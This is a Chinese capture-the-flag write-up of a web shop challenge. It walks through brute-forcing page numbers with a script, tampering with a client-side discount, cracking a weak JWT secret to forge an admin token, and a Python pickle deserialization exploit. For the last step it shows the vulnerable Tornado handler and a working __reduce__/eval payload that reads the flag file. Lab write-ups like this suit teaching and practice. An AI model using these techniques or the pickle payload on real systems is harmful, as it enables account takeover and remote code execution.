考点:
- 逻辑漏洞
- JWT
- 未授权访问
- python 反序列化
1、爆破页号
找page,使用sleep()函数是为了防止安全狗封IP
from time import sleep
import requests
url="http://62bdaa92-4bf8-4e64-9ea3-1fd715bcbf22.node4.buuoj.cn:81/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.4)
if 'lv6.png' in r.text:
print(i)
pass
访问181,创建了一个账号,查看余额,远远不够买 lv6
2、逻辑漏洞
前端验证,F12修改打折的数目
好家伙,垂直越权,找cookie
截屏没有截到关键地方,在控制台输入document.cookie()
3、JWT未授权访问
JWT非常熟悉,上星期刚刚挖过它
找密钥,正是刚才注册的 id,就想着这里能不能未授权登陆管理员账号。 爆破出 JWT 的 key 为 1Kun
改JWT
抓包修改JWT
4、Java反序列化
看源码,把它下载下来进行代码审计
把状态码改一下,admin.py 存在反序列化pickle.loads(),看不懂代码的看这个Python的序列化与反序列化_51CTO博客_python序列化和反序列化
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
附上 exp
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)
将生成的 payload 传给 become 传入服务器可成功回显 flag。